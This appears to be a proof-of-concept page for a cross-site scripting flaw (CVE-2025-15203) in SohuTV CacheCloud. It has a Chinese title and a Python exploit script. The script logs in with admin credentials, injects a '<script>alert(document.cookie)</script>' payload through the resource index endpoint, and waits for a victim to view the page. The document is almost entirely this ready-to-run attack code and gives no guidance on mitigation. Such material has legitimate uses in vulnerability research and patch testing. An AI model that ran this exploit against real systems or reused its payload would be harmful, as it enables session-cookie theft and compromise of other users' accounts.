CVE-2025-15203: SohuTV CacheCloud跨站脚本漏洞

import requests import json # CVE-2025-15203 PoC - SohuTV CacheCloud XSS # Target: SohuTV CacheCloud <= 3.2.0 # Endpoint: ResourceController.java index function TARGET_URL = "http://target-host:8080" LOGIN_URL = f"{TARGET_URL}/login" XSS_PAYLOAD = "<script>alert(document.cookie)</script>" def login(session, username, password): """Login with high privilege account""" response = session.post(LOGIN_URL, data={ 'username': username, 'password': password }) return response.status_code == 200 def exploit_xss(session): """Inject XSS payload via ResourceController""" # Target function: index in ResourceController.java exploit_url = f"{TARGET_URL}/resource/index" # XSS payload injection params = { 'resourceName': XSS_PAYLOAD, 'resourceType': 'custom' } response = session.get(exploit_url, params=params) return response.status_code == 200 def main(): session = requests.Session() # Step 1: Login with high privilege account if not login(session, 'admin', 'password'): print("Login failed") return print("[+] Login successful") # Step 2: Inject XSS payload if exploit_xss(session): print("[+] XSS payload injected successfully") print("[*] Wait for victim to access the page") else: print("[-] Exploitation failed") if __name__ == "__main__": main()